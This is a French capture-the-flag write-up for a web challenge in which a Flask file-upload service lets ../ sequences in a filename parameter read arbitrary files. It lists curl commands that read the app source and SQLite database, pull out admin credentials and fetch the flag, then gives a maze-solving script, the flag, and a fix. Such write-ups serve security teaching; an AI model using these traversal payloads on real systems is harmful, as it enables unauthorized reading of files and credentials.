Aller au contenu
Tous les challenges
Web Résolu

Don't follow the wrong path

FileVault, Flask et SQLite : un path traversal mène au labyrinthe du flag.

Service
https://dftwp.ctf.blackalps.ch (FileVault — Flask + SQLite)

Énoncé (résumé)

Un service d’upload de fichiers « FileVault » stockerait des secrets, mais on se perd dans un « labyrinthe de fichiers ». Le titre (« ne suis pas le mauvais chemin ») oriente vers du path traversal.

Reconnaissance

Application Flask classique : /register, /login, /dashboard, /upload. Après upload, chaque fichier expose trois liens :

  • /view?filename=<nom> → lecture via open()
  • /raw?filename=<nom> → lecture via open()
  • /download/<path> → send_from_directory

Les fichiers sont rangés par utilisateur dans /app/uploads/<user>/.

Vulnérabilité — Path Traversal / LFI

/raw et /view construisent le chemin sans assainir .. :

user_dir = os.path.join(UPLOAD_FOLDER, session["user"])
filepath = os.path.join(user_dir, filename)   # filename non filtré
open(filepath, "r", errors="replace")

os.path.join(base, "../../../../etc/passwd") → lecture arbitraire de fichiers.

Le piège (« wrong path ») : /download/<path> utilise send_from_directory, qui bloque le traversal. Il faut passer par /raw (ou /view), pas par /download.

Exploitation (reproductible)

B=https://dftwp.ctf.blackalps.ch

# 1. Compte + session (username alphanum/_ uniquement)
curl -s -c c.txt -X POST "$B/register" \
     --data-urlencode username=pigu1 --data-urlencode password='Pw123!'
curl -s -c c.txt -b c.txt -X POST "$B/login" \
     --data-urlencode username=pigu1 --data-urlencode password='Pw123!'

# 2. LFI : lire la source puis la base SQLite (texte -> ASCII lisible)
curl -s -b c.txt "$B/raw?filename=../../../../app/app.py"
curl -s -b c.txt "$B/raw?filename=../../../../app/challenge.db" | strings | grep -i admin
#   -> admin / SuperSecretPassword123!

# 3. (voie prévue) se connecter en admin : son dashboard liste flag.txt + flag.maze
curl -s -c admin.txt -X POST "$B/login" \
     --data-urlencode username=admin --data-urlencode password='SuperSecretPassword123!'
curl -s -b admin.txt "$B/download/flag.maze" -o flag.maze

#   (raccourci) la LFI suffit depuis n'importe quel compte :
curl -s -b c.txt "$B/raw?filename=../../../../app/uploads/admin/flag.maze" -o flag.maze

flag.txt est un leurre :

« Sadly, this file has been obfuscated to a maze due to community abuse… »

Dernière étape — résoudre le labyrinthe

flag.maze est un labyrinthe ASCII 201×201. Murs = #, couloirs = , et des lettres dispersées sur les couloirs (dont une majorité de leurres, sur les mauvais chemins). Deux marqueurs > : entrée (1,0) et sortie (199,200).

Le labyrinthe est parfait (chemin unique) : un BFS entre les deux > donne l’unique trajet, et les lettres rencontrées le long de ce trajet, dans l’ordre, épellent le flag.

from collections import deque
grid = [list(l.rstrip('\n')) for l in open('flag.maze')]
H = len(grid); W = max(len(r) for r in grid)
for r in grid: r += [' '] * (W - len(r))

ends = [(y, x) for y in range(H) for x in range(W) if grid[y][x] == '>']
s, e = ends
walk = lambda y, x: 0 <= y < H and 0 <= x < W and grid[y][x] != '#'

prev = {s: None}; q = deque([s])
while q:
    y, x = q.popleft()
    if (y, x) == e: break
    for dy, dx in ((1,0), (-1,0), (0,1), (0,-1)):
        ny, nx = y+dy, x+dx
        if walk(ny, nx) and (ny, nx) not in prev:
            prev[(ny, nx)] = (y, x); q.append((ny, nx))

path = []; cur = e
while cur: path.append(cur); cur = prev[cur]
path.reverse()
print(''.join(grid[y][x] for y, x in path if grid[y][x] not in '# >'))
# BA26{tHis_Is_a_rEally_loNG_flag_ThAt_is_Very_DiFFicult_to_gUess_bUT_you_cAn_find_It_in_tHE_mAze}

Script complet : solve2.py (dossier scratchpad de la session) ; notes : NOTES.md.

Correctif

Assainir filename avant le open() (werkzeug.utils.secure_filename, ou résoudre le chemin réel et vérifier qu’il reste sous UPLOAD_FOLDER/<user>/), exactement comme le fait déjà send_from_directory.